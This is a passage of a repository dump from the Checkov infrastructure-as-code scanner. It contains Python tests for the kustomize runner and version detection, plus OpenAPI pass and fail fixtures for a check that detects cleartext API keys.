    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.kustomize.runner import Runner\nfrom tests.kustomize.utils import kustomize_exists\n\n\ndef _setup_test_under_example():\n    current_dir = os.path.dirname(os.path.realpath(__file__))\n    scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"example\")\n    # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n    dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n    runner = Runner()\n    runner.templateRendererCommand = \"kustomize\"\n    runner.templateRendererCommandOptions = \"build\"\n    checks_allowlist = ['CKV_K8S_37']\n    return checks_allowlist, dir_rel_path, runner\n\n\nclass TestRunnerValid(unittest.TestCase):\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"example\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n        filter = RunnerFilter(framework=['kustomize'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.KUSTOMIZE: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=filter)\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_record_relative_path_with_relative_dir(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        checks_allowlist, dir_rel_path, runner = _setup_test_under_example()\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertIn(record.file_path, record.file_abs_path)\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n            assert record.file_path.startswith(('/base', '/overlays'))\n\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_record_relative_path_with_relative_dir_with_origin_annotations(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        with mock.patch.dict(os.environ, {\"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS\": \"True\"}):\n            checks_allowlist, dir_rel_path, runner = _setup_test_under_example()\n            report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertIn(record.file_path, record.file_abs_path)\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n            assert record.file_path.startswith(('/base', '/overlays'))\n            assert record.caller_file_path == '/base/deployment.yaml' or record.caller_file_path == '/deployment.yaml'\n            assert record.caller_file_line_range == (2, 24)\n\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_record_relative_path_with_direct_oberlay(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        scan_dir_path = Path(__file__).parent / \"runner/resources/example/overlays/dev\"\n\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n        checks_allowlist = ['CKV_K8S_37']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertNotEqual(record.file_path, record.file_abs_path)\n            self.assertIn(record.file_path, record.file_abs_path)\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_record_relative_path_with_direct_prod2_oberlay(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        scan_dir_path = Path(__file__).parent / \"runner/resources/example/overlays/prod-2\"\n\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n        checks_allowlist = ['CKV_K8S_37']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n        for record in all_checks:\n            self.assertNotEqual(record.file_path, record.file_abs_path)\n            self.assertIn(record.file_path, record.file_abs_path)\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    \n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_no_file_type_exists(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        scan_dir_path = Path(__file__).parent / \"runner/resources/example/no_type\"\n\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize']))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertEqual(len(all_checks), 0)  # we should no get any results\n\n    @unittest.skipIf(os.name == \"nt\" or not kustomize_exists(), \"kustomize not installed or Windows OS\")\n    def test_get_binary_output_from_directory_equals_to_get_binary_result(self):\n        scan_dir_path = Path(__file__).parent / \"runner/resources/example/no_type\"\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n\n        # Runs the runner fully just to build `runner.kustomizeProcessedFolderAndMeta`\n        _ = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['kustomize']))\n        regular_result = runner.get_binary_output(str(scan_dir_path), runner.kustomizeProcessedFolderAndMeta,\n                                                  runner.templateRendererCommand)\n        result_from_directory = runner.get_binary_output_from_directory(str(scan_dir_path),\n                                                                        runner.templateRendererCommand)\n        assert regular_result == result_from_directory\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kustomize/test_runner_image_referencer.py",
    "content": "from __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.kustomize.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.kustomize.utils import kustomize_exists\n\nRESOURCES_PATH = Path(__file__).parent / \"runner/resources\"\n\n\n@pytest.mark.xfail(reason=\"This is probably connected to the OS + kustomize version\")\n@pytest.mark.skipif((3, 9) <= sys.version_info < (3, 11), reason=\"fails on python 3.9 and 3.10 due to path.resolve issues.\")\n@pytest.mark.skipif(os.name == \"nt\" or not kustomize_exists(), reason=\"kustomize not installed or Windows OS\")\n@pytest.mark.parametrize(\"allow_kustomize_file_edits, code_lines\", [\n    (True, \"18-34\"),\n    (False, \"15-31\")\n])\ndef test_deployment_resources(mocker: MockerFixture, allow_kustomize_file_edits: bool, code_lines: str):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    image_name = \"wordpress:4.8-apache\"\n    test_folder = RESOURCES_PATH / \"image_referencer\"\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n\n    with mock.patch.dict(os.environ, {\"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS\": str(allow_kustomize_file_edits)}):\n        runner = Runner()\n        runner.templateRendererCommand = \"kustomize\"\n        runner.templateRendererCommandOptions = \"build\"\n        reports = runner.run(root_folder=str(test_folder), runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    kustomize_report = next(report for report in reports if report.check_type == CheckType.KUSTOMIZE)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(kustomize_report.resources) == 6\n    assert len(kustomize_report.passed_checks) == 136\n    assert len(kustomize_report.failed_checks) == 42\n    assert len(kustomize_report.skipped_checks) == 0\n    assert len(kustomize_report.parsing_errors) == 0\n\n    if allow_kustomize_file_edits:\n        for record in kustomize_report.failed_checks:\n            assert record.caller_file_path in ['/base/deployment.yaml', '/base/service.yaml', '/deployment.yaml',\n                                               '/service.yaml']\n\n    assert len(sca_image_report.resources) == 2\n    assert f'base/kustomization.yaml (wordpress:4.8-apache lines:{code_lines} (sha256:2460522297)).go' in \\\n           sca_image_report.resources\n    assert f'overlays/prod/kustomization.yaml (wordpress:4.8-apache lines:{code_lines} (sha256:2460522297)).go' in \\\n           sca_image_report.resources\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n    assert len(sca_image_report.image_cached_results) == 2\n\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == image_name\n    assert (\n        sca_image_report.image_cached_results[0][\"relatedResourceId\"].endswith(\"/kustomization.yaml:Pod.default.prod-wordpress.app-wordpress\")\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n"
  },
  {
    "path": "tests/kustomize/test_utils.py",
    "content": "from unittest.mock import MagicMock\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.kustomize.utils import get_kustomize_version, get_kubectl_version\n\n\ndef test_get_kubectl_version_v1_27(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b'Client Version: version.Info{Major:\"1\", Minor:\"27\", GitVersion:\"v1.27.2\", GitCommit:\"7f6f68fdabc4df88cfea2dcf9a19b2b830f1e647\", GitTreeState:\"clean\", BuildDate:\"2023-05-17T14:20:07Z\", GoVersion:\"go1.20.4\", Compiler:\"gc\", Platform:\"darwin/amd64\"}\\nKustomize Version: v5.0.1\\n'\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kubectl_version(kubectl_command=\"kubectl\")\n\n    # then\n    assert version == 1.27\n\n\ndef test_get_kubectl_version_v1_28(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b\"Client Version: v1.28.0\\nKustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3\\n\"\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kubectl_version(kubectl_command=\"kubectl\")\n\n    # then\n    assert version == 1.28\n\n\ndef test_get_kubectl_version_none(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b\"command not found: kubectl\\n\"\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kubectl_version(kubectl_command=\"kubectl\")\n\n    # then\n    assert version is None\n\n\ndef test_get_kustomize_version_v4(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b\"{Version:kustomize/v4.5.7 GitCommit:56d82a8378dfc8dc3b3b1085e5a6e67b82966bd7 BuildDate:2022-08-02T16:28:01Z GoOs:darwin GoArch:amd64}\\n\"\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kustomize_version(kustomize_command=\"kustomize\")\n\n    # then\n    assert version == \"v4.5.7\"\n\n\ndef test_get_kustomize_version_v5(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b\"v5.0.0\\n\"\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kustomize_version(kustomize_command=\"kustomize\")\n\n    # then\n    assert version == \"v5.0.0\"\n\n\ndef test_get_kustomize_version_none(mocker: MockerFixture):\n    # given\n    subprocess_mock = MagicMock()\n    subprocess_mock.stdout = b\"command not found: kustomize\\n\"\n\n    mocker.patch(\"checkov.kustomize.utils.subprocess.run\", return_value=subprocess_mock)\n\n    # when\n    version = get_kustomize_version(kustomize_command=\"kustomize\")\n\n    # then\n    assert version is None\n"
  },
  {
    "path": "tests/kustomize/utils.py",
    "content": "import subprocess\n\nfrom checkov.kustomize.runner import Runner\n\n\ndef kustomize_exists() -> bool:\n    try:\n        subprocess.run([Runner.kustomize_command, \"version\"], check=True, stdout=subprocess.PIPE)\n    except Exception:\n        return False\n    return True\n"
  },
  {
    "path": "tests/logger_streams/__init__.py",
    "content": ""
  },
  {
    "path": "tests/logger_streams/test_logger_streams.py",
    "content": "import logging\nimport unittest\n\nfrom checkov.common.logger_streams import LoggerStreams\nfrom checkov.logging_init import log_stream, erase_log_stream\n\nclass TestLoggerStreams(unittest.TestCase):\n    def test_stream_collect_valid_logs(self) -> None:\n        log_message = 'this is a log message for testing'\n        stream_name = 'main_stream'\n        erase_log_stream()\n        logger_streams = LoggerStreams()\n        logger_streams.add_stream(stream_name, log_stream)\n        logging.error(log_message)\n\n        # validate logs\n        stream_content = logger_streams.get_streams().get(stream_name).getvalue()\n        self.assertIn(log_message, stream_content)\n\n        # validate eraser of logs\n        erase_log_stream()\n        stream_content = logger_streams.get_streams().get(stream_name).getvalue()\n        self.assertEqual(stream_content, '')\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/openapi/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/resource/generic/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey2\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"apiKey1\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"header\"\n      },\n      \"apiKey2\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"cookie\"\n      },\n      \"apiKey3\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"query\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey2: []\n          apiKey3: []\ncomponents:\n  securitySchemes:\n    apiKey1:\n      type: apiKey\n      name: X-API-Key\n      in: header\n    apiKey2:\n      type: apiKey\n      name: X-API-Key\n      in: cookie\n    apiKey3:\n      type: apiKey\n      name: X-API-Key\n      in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"apiKey1\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"header\"\n    },\n    \"apiKey3\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"query\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API overview\n  version: 1.0.0\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey3: []\nsecurityDefinitions:\n  apiKey1:\n    type: apiKey\n    name: X-API-Key\n    in: header\n  apiKey3:\n    type: apiKey\n    name: X-API-Key\n    in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\",\n    \"http\"\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"apiKey1\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"header\"\n    },\n    \"apiKey3\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"query\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail3.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nschemes:\n  - https\n  - http\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey3: []\nsecurityDefinitions:\n  apiKey1:\n    type: apiKey\n    name: X-API-Key\n    in: header\n  apiKey3:\n    type: apiKey\n    name: X-API-Key\n    in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail4.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"servers\": [\n    {\n      \"url\": \"https://localhost:8000\",\n      \"description\": \"Local server\"\n    },\n    {\n      \"url\": \"http://example.com\",\n      \"description\": \"Example\"\n    }\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey2\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"apiKey1\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"header\"\n      },\n      \"apiKey2\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"cookie\"\n      },\n      \"apiKey3\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"query\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail4.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nservers:\n  - url: https://localhost:8000\n    description: Local server\n  - url: http://example.com\n    description: example\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        '200':\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey2: []\n          apiKey3: []\ncomponents:\n  securitySchemes:\n    apiKey1:\n      type: apiKey\n      name: X-API-Key\n      in: header\n    apiKey2:\n      type: apiKey\n      name: X-API-Key\n      in: cookie\n    apiKey3:\n      type: apiKey\n      name: X-API-Key\n      in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail5.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"servers\": [\n    {\n      \"url\": \"wss://localhost:8000\",\n      \"description\": \"Local server\"\n    },\n    {\n      \"url\": \"ws://example.com\",\n      \"description\": \"Example\"\n    }\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey2\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"apiKey1\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"header\"\n      },\n      \"apiKey2\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"cookie\"\n      },\n      \"apiKey3\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"query\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail5.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nservers:\n  - url: wss://localhost:8000\n    description: Local server\n  - url: ws://example.com\n    description: example\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        '200':\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey2: []\n          apiKey3: []\ncomponents:\n  securitySchemes:\n    apiKey1:\n      type: apiKey\n      name: X-API-Key\n      in: header\n    apiKey2:\n      type: apiKey\n      name: X-API-Key\n      in: cookie\n    apiKey3:\n      type: apiKey\n      name: X-API-Key\n      in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"version\": \"1.0.0\",\n    \"title\": \"Simple API overview\"\n  },\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"OAuth2\": {\n        \"type\": \"oauth2\",\n        \"flows\": {\n          \"authorizationCode\": {\n            \"scopes\": {\n              \"write\": \"modify objects in your account\",\n              \"read\": \"read objects in your account\"\n            },\n            \"authorizationUrl\": \"https://example.com/oauth/authorize\",\n            \"tokenUrl\": \"https://example.com/oauth/token\"\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - OAuth2:\n            - write\n            - read\ncomponents:\n  securitySchemes:\n    OAuth2:\n      type: oauth2\n      flows:\n        authorizationCode:\n          scopes:\n            write: modify objects in your account\n            read: read objects in your account\n          authorizationUrl: https://example.com/oauth/authorize\n          tokenUrl: https://example.com/oauth/token\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass2.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"version\": \"1.0.0\",\n    \"title\": \"Simple API overview\"\n  },\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"OAuth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\",\n      \"authorizationUrl\": \"https://example.com/oauth/authorize\",\n      \"tokenUrl\": \"https://example.com/oauth/token\",\n      \"scopes\": {\n        \"read\": \"Grants read access\",\n        \"write\": \"Grants write access\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API overview\n  version: 1.0.0\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - OAuth2:\n            - write\n            - read\nsecurityDefinitions:\n  OAuth2:\n    type: oauth2\n    flow: accessCode\n    authorizationUrl: https://example.com/oauth/authorize\n    tokenUrl: https://example.com/oauth/token\n    scopes:\n      read: Grants read access\n      write: Grants write access\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"apiKey1\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"header\"\n    },\n    \"apiKey3\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"query\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass3.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey3: []\nsecurityDefinitions:\n  apiKey1:\n    type: apiKey\n    name: X-API-Key\n    in: header\n  apiKey3:\n    type: apiKey\n    name: X-API-Key\n    in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass4.json",
